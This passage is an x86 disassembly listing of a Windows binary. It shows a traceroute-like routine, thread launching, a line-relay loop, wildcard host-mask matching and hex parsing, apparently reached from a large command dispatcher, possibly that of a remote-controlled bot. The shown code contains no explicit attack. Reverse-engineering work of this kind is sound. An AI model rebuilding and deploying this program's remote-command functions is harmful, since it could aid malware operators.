; ---------------------------------------------------------------------------
loc_409E7D: ; CODE XREF: sub_409DD0+A4j
cmp dword_41E308, 0
jnz short loc_409E8D
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E8D: ; CODE XREF: sub_409DD0+B4j
cmp dword_41E304, 0
jnz short loc_409E9D
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E9D: ; CODE XREF: sub_409DD0+C4j
lea eax, [ebp+var_10D]
mov [ebp+var_2B8], eax
push [ebp+var_2B8]
call ds:dword_417244 ; inet_addr
mov [ebp+var_2BC], eax
cmp [ebp+var_2BC], 0FFFFFFFFh
jnz short loc_409F18
push [ebp+var_2B8]
call ds:dword_41723C ; gethostbyname
mov [ebp+var_2C0], eax
cmp [ebp+var_2C0], 0
jz short loc_409F06
mov eax, [ebp+var_2C0]
movsx eax, word ptr [eax+0Ah]
push eax
mov eax, [ebp+var_2C0]
mov eax, [eax+0Ch]
push dword ptr [eax]
lea eax, [ebp+var_2BC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
jmp short loc_409F18
; ---------------------------------------------------------------------------
loc_409F06: ; CODE XREF: sub_409DD0+10Dj
push offset aCouldNotResolv ; "Could not resolve name"
call sub_416DD8 ; printf
pop ecx
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409F18: ; CODE XREF: sub_409DD0+F2j
; sub_409DD0+134j
and [ebp+var_4], 0
mov byte ptr [ebp+var_2B4], 1
jmp short loc_409F33
; ---------------------------------------------------------------------------
loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj
mov al, byte ptr [ebp+var_2B4]
add al, 1
mov byte ptr [ebp+var_2B4], al
loc_409F33: ; CODE XREF: sub_409DD0+153j
movzx eax, byte ptr [ebp+var_2B4]
movzx ecx, [ebp+var_D]
cmp eax, ecx
jg loc_40A1A1
cmp [ebp+var_4], 0
jnz loc_40A1A1
and [ebp+var_2EC], 0
or [ebp+var_2E4], 0FFFFFFFFh
and [ebp+var_2E0], 0
and [ebp+var_2DC], 0
and [ebp+var_2D0], 0
and [ebp+var_2C8], 0
and [ebp+var_2CC], 0
and [ebp+var_2D8], 0
and [ebp+var_2D4], 0
jmp short loc_409F9E
; ---------------------------------------------------------------------------
loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej
mov eax, [ebp+var_2D4]
inc eax
mov [ebp+var_2D4], eax
loc_409F9E: ; CODE XREF: sub_409DD0+1BFj
mov eax, [ebp+var_2D4]
cmp eax, [ebp+var_8]
jnb loc_40A053
cmp [ebp+var_2D8], 0
jnz loc_40A053
push 20h
push [ebp+var_C]
push [ebp+var_2B4]
lea eax, [ebp+var_2CC]
push eax
push [ebp+var_2BC]
call sub_409CB1
add esp, 14h
test eax, eax
jz short loc_40A047
cmp [ebp+var_2CC], 0
jnz short loc_40A02F
mov eax, [ebp+var_2D0]
add eax, [ebp+var_2C4]
mov [ebp+var_2D0], eax
mov eax, [ebp+var_2C4]
cmp eax, [ebp+var_2E4]
jnb short loc_40A013
mov eax, [ebp+var_2C4]
mov [ebp+var_2E4], eax
loc_40A013: ; CODE XREF: sub_409DD0+235j
mov eax, [ebp+var_2C4]
cmp eax, [ebp+var_2DC]
jbe short loc_40A02D
mov eax, [ebp+var_2C4]
mov [ebp+var_2DC], eax
loc_40A02D: ; CODE XREF: sub_409DD0+24Fj
jmp short loc_40A045
; ---------------------------------------------------------------------------
loc_40A02F: ; CODE XREF: sub_409DD0+215j
mov eax, [ebp+var_2CC]
mov [ebp+var_2EC], eax
mov [ebp+var_2D8], 1
loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj
jmp short loc_40A04E
; ---------------------------------------------------------------------------
loc_40A047: ; CODE XREF: sub_409DD0+20Cj
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j
jmp loc_409F91
; ---------------------------------------------------------------------------
loc_40A053: ; CODE XREF: sub_409DD0+1D7j
; sub_409DD0+1E4j
mov eax, [ebp+var_2C8]
mov [ebp+var_2E8], eax
cmp [ebp+var_2EC], 0
jnz short loc_40A07B
mov eax, [ebp+var_2D0]
xor edx, edx
div [ebp+var_8]
mov [ebp+var_2E0], eax
jmp short loc_40A090
; ---------------------------------------------------------------------------
loc_40A07B: ; CODE XREF: sub_409DD0+296j
and [ebp+var_2E4], 0
and [ebp+var_2E0], 0
and [ebp+var_2DC], 0
loc_40A090: ; CODE XREF: sub_409DD0+2A9j
cmp [ebp+var_2EC], 0
jnz loc_40A165
push 2
push 4
lea eax, [ebp+var_2E8]
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_2F0], eax
cmp [ebp+var_2F0], 0
jz short loc_40A115
movzx eax, byte ptr [ebp+var_2E8+3]
push eax
movzx eax, byte ptr [ebp+var_2E8+2]
push eax
movzx eax, byte ptr [ebp+var_2E8+1]
push eax
movzx eax, byte ptr [ebp+var_2E8]
push eax
mov eax, [ebp+var_2F0]
push dword ptr [eax]
push [ebp+var_2DC]
push [ebp+var_2E0]
push [ebp+var_2E4]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419594
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 2Ch
jmp short loc_40A163
; ---------------------------------------------------------------------------
loc_40A115: ; CODE XREF: sub_409DD0+2EBj
movzx eax, byte ptr [ebp+var_2E8+3]
push eax
movzx eax, byte ptr [ebp+var_2E8+2]
push eax
movzx eax, byte ptr [ebp+var_2E8+1]
push eax
movzx eax, byte ptr [ebp+var_2E8]
push eax
push [ebp+var_2DC]
push [ebp+var_2E0]
push [ebp+var_2E4]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419568
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 28h
loc_40A163: ; CODE XREF: sub_409DD0+343j
jmp short loc_40A187
; ---------------------------------------------------------------------------
loc_40A165: ; CODE XREF: sub_409DD0+2C7j
push [ebp+var_2EC]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419540
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 10h
loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j
mov eax, [ebp+var_2BC]
cmp eax, [ebp+var_2E8]
jnz short loc_40A19C
mov [ebp+var_4], 1
loc_40A19C: ; CODE XREF: sub_409DD0+3C3j
jmp loc_409F25
; ---------------------------------------------------------------------------
loc_40A1A1: ; CODE XREF: sub_409DD0+170j
; sub_409DD0+17Aj
xor eax, eax
locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj
; sub_409DD0+A8j ...
leave
retn 4
sub_409DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
cmp [ebp+arg_4], 0
jnz short loc_40A1C7
push offset unk_419618
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
jmp locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj
push 2ACh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A1E0
jmp locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A1E0: ; CODE XREF: sub_40A1A7+32j
push 1A3h
push [ebp+arg_0]
push [ebp+var_4]
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 1A3h
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_40A22A
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
cmp eax, 0FFh
jg short loc_40A22A
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_10], eax
jmp short loc_40A231
; ---------------------------------------------------------------------------
loc_40A22A: ; CODE XREF: sub_40A1A7+63j
; sub_40A1A7+73j
mov [ebp+var_10], 1Eh
loc_40A231: ; CODE XREF: sub_40A1A7+81j
mov eax, [ebp+var_4]
mov cl, byte ptr [ebp+var_10]
mov [eax+2A3h], cl
cmp [ebp+arg_C], 0
jz short loc_40A261
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
cmp eax, 927C0h
jg short loc_40A261
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_14], eax
jmp short loc_40A268
; ---------------------------------------------------------------------------
loc_40A261: ; CODE XREF: sub_40A1A7+9Aj
; sub_40A1A7+AAj
mov [ebp+var_14], 7530h
loc_40A268: ; CODE XREF: sub_40A1A7+B8j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_14]
mov [eax+2A4h], ecx
cmp [ebp+arg_10], 0
jz short loc_40A288
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_18], eax
jmp short loc_40A28F
; ---------------------------------------------------------------------------
loc_40A288: ; CODE XREF: sub_40A1A7+D1j
mov [ebp+var_18], 3
loc_40A28F: ; CODE XREF: sub_40A1A7+DFj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_18]
mov [eax+2A8h], ecx
lea eax, [ebp+var_C]
push eax
push 0
push [ebp+var_4]
push offset sub_409DD0
push 0
push 0
call ds:dword_4170B4 ; CreateThread
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40A2C7
push [ebp+var_4]
call sub_416B4C ; free
pop ecx
jmp short locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A2C7: ; CODE XREF: sub_40A1A7+113j
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj
; sub_40A1A7+34j ...
leave
retn
sub_40A1A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = byte ptr -1114h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 111Ch
call sub_416BC0
mov eax, [ebp+arg_0]
add eax, 4
push eax
mov eax, [ebp+arg_0]
add eax, 104h
push eax
mov eax, [ebp+arg_0]
mov eax, [eax]
push dword ptr [eax]
push offset dword_41966C
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
add esp, 14h
push 2710h
push 0
push offset dword_419668
mov eax, [ebp+arg_0]
add eax, 104h
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40A339
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A339: ; CODE XREF: sub_40A2D2+5Ej
mov eax, [ebp+arg_0]
add eax, 4
push eax
push offset dword_419660
lea eax, [ebp+var_114]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
lea eax, [ebp+var_114]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
push eax
lea eax, [ebp+var_114]
push eax
push [ebp+var_8]
call sub_4053BF
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A38F
push [ebp+var_8]
call sub_40538D
pop ecx
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A38F: ; CODE XREF: sub_40A2D2+ABj
push 1000h
lea eax, [ebp+var_1114]
push eax
push [ebp+var_8]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_40A3B5
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_40A3C5
loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj
push [ebp+var_8]
call sub_40538D
pop ecx
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j
lea eax, [ebp+var_1114]
mov [ebp+var_10], eax
loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j
mov eax, [ebp+var_10]
mov [ebp+var_111C], eax
mov eax, [ebp+var_111C]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A3E9
jmp loc_40A497
; ---------------------------------------------------------------------------
loc_40A3E9: ; CODE XREF: sub_40A2D2+110j
push [ebp+var_111C]
call sub_407B5E
pop ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_111C]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40A41B
push offset dword_418F4C
push [ebp+var_111C]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40A442
loc_40A41B: ; CODE XREF: sub_40A2D2+131j
mov eax, [ebp+var_111C]
lea ecx, [ebp+var_1114]
cmp eax, ecx
jz short loc_40A440
push offset dword_41965C
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
pop ecx
pop ecx
loc_40A440: ; CODE XREF: sub_40A2D2+157j
jmp short loc_40A458
; ---------------------------------------------------------------------------
loc_40A442: ; CODE XREF: sub_40A2D2+147j
push [ebp+var_111C]
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
pop ecx
pop ecx
loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j
push 3E8h
call ds:dword_41709C ; Sleep
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax+4]
mov [ebp+var_1118], eax
push offset dword_41E2D8
call sub_409C7A
pop ecx
cmp [ebp+var_1118], 0
jz short loc_40A492
jmp short loc_40A497
; ---------------------------------------------------------------------------
loc_40A492: ; CODE XREF: sub_40A2D2+1BCj
jmp loc_40A3CE
; ---------------------------------------------------------------------------
loc_40A497: ; CODE XREF: sub_40A2D2+112j
; sub_40A2D2+1BEj
push [ebp+var_8]
call sub_40538D
pop ecx
mov al, 1
locret_40A4A2: ; CODE XREF: sub_40A2D2+62j
; sub_40A2D2+B8j ...
leave
retn
sub_40A2D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o
var_3A8 = dword ptr -3A8h
var_2A4 = byte ptr -2A4h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3A8h
push 3A7h
push [ebp+arg_0]
lea eax, [ebp+var_3A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_3A8]
push eax
call sub_40A2D2
pop ecx
movzx eax, al
test eax, eax
jnz short loc_40A4FC
lea eax, [ebp+var_2A4]
push eax
push offset dword_419698
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj
push [ebp+var_3A8]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40A4A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_40A51D
jmp locret_40A5BC
; ---------------------------------------------------------------------------
loc_40A51D: ; CODE XREF: sub_40A50E+8j
push 3A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A536
jmp locret_40A5BC
; ---------------------------------------------------------------------------
loc_40A536: ; CODE XREF: sub_40A50E+21j
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_40A562
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40A586
; ---------------------------------------------------------------------------
loc_40A562: ; CODE XREF: sub_40A50E+3Dj
push offset dword_4196D4
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_4105FB
pop ecx
loc_40A586: ; CODE XREF: sub_40A50E+52j
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 204h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4196B4
push 0
push [ebp+var_4]
push offset sub_40A4A4
call sub_4095A4
add esp, 18h
locret_40A5BC: ; CODE XREF: sub_40A50E+Aj
; sub_40A50E+23j
leave
retn
sub_40A50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p
; sub_40A5BE+70p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A603
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A5DD
mov al, 1
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A5DD: ; CODE XREF: sub_40A5BE+16j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A5FC
mov eax, [ebp+arg_4]
inc eax
push eax
push [ebp+arg_0]
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A5FC: ; CODE XREF: sub_40A5BE+28j
xor al, al
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A603: ; CODE XREF: sub_40A5BE+Cj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A614
xor al, al
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A614: ; CODE XREF: sub_40A5BE+4Dj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A63A
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A63A: ; CODE XREF: sub_40A5BE+64j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40A65B
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A65B: ; CODE XREF: sub_40A5BE+85j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A69E
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_40A67C
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 39h
jle short loc_40A687
loc_40A67C: ; CODE XREF: sub_40A5BE+B1j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A69A
loc_40A687: ; CODE XREF: sub_40A5BE+BCj
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A69A: ; CODE XREF: sub_40A5BE+C7j
xor al, al
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A69E: ; CODE XREF: sub_40A5BE+A6j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A6E7
and [ebp+var_4], 0
jmp short loc_40A6B6
; ---------------------------------------------------------------------------
loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
push eax
call sub_40A5BE
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40A6D4
mov al, 1
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A6D4: ; CODE XREF: sub_40A5BE+110j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A6E5
xor al, al
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A6E5: ; CODE XREF: sub_40A5BE+121j
jmp short loc_40A6AF
; ---------------------------------------------------------------------------
loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j
xor al, al
locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj
; sub_40A5BE+39j ...
leave
retn
sub_40A5BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap
; sub_4098F3+155p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A730
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A70A
mov al, 1
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A70A: ; CODE XREF: sub_40A6EB+16j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A729
mov eax, [ebp+arg_4]
inc eax
push eax
push [ebp+arg_0]
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A729: ; CODE XREF: sub_40A6EB+28j
xor al, al
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A730: ; CODE XREF: sub_40A6EB+Cj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A741
xor al, al
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A741: ; CODE XREF: sub_40A6EB+4Dj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A767
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_40A6EB+64j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 41h
jl short loc_40A77D
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 5Ah
jle short loc_40A793
loc_40A77D: ; CODE XREF: sub_40A6EB+85j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 61h
jl short loc_40A7BC
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 7Ah
jg short loc_40A7BC
loc_40A793: ; CODE XREF: sub_40A6EB+90j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
xor eax, 20h
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A7BC
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj
; sub_40A6EB+A6j ...
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40A7DD
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A820
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_40A7FE
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 39h
jle short loc_40A809
loc_40A7FE: ; CODE XREF: sub_40A6EB+106j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A81C
loc_40A809: ; CODE XREF: sub_40A6EB+111j
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj
xor al, al
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A820: ; CODE XREF: sub_40A6EB+FBj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A869
and [ebp+var_4], 0
jmp short loc_40A838
; ---------------------------------------------------------------------------
loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40A838: ; CODE XREF: sub_40A6EB+144j
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40A856
mov al, 1
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A856: ; CODE XREF: sub_40A6EB+165j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A867
xor al, al
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A867: ; CODE XREF: sub_40A6EB+176j
jmp short loc_40A831
; ---------------------------------------------------------------------------
loc_40A869: ; CODE XREF: sub_40A6EB+13Ej
xor al, al
locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj
; sub_40A6EB+39j ...
leave
retn
sub_40A6EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_4], 1
cmp [ebp+arg_4], 0
jnz short loc_40A884
push 1
pop eax
jmp short locret_40A8AB
; ---------------------------------------------------------------------------
loc_40A884: ; CODE XREF: sub_40A86D+10j
mov [ebp+var_8], 1
jmp short loc_40A894
; ---------------------------------------------------------------------------
loc_40A88D: ; CODE XREF: sub_40A86D+39j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40A894: ; CODE XREF: sub_40A86D+1Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jg short loc_40A8A8
mov eax, [ebp+var_4]
imul eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_40A88D
; ---------------------------------------------------------------------------
loc_40A8A8: ; CODE XREF: sub_40A86D+2Dj
mov eax, [ebp+var_4]
locret_40A8AB: ; CODE XREF: sub_40A86D+15j
leave
retn
sub_40A86D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8AD proc near ; CODE XREF: sub_406509+26p
; sub_40A9CF+193Fp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push esi
push edi
mov [ebp+var_4], 1
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_20], 0
mov esi, offset aAbcdef ; "abcdef"
lea edi, [ebp+var_1C]
movsd
movsw
movsb
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 30h
jnz short loc_40A90C
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 78h
jz short loc_40A905
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 58h
jnz short loc_40A90C
loc_40A905: ; CODE XREF: sub_40A8AD+48j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_40A90C: ; CODE XREF: sub_40A8AD+33j
; sub_40A8AD+56j
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_20]
mov [ebp+var_14], eax
jmp short loc_40A927
; ---------------------------------------------------------------------------
loc_40A920: ; CODE XREF: sub_40A8AD+116j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_40A927: ; CODE XREF: sub_40A8AD+71j
mov eax, [ebp+var_14]
cmp eax, [ebp+var_28]
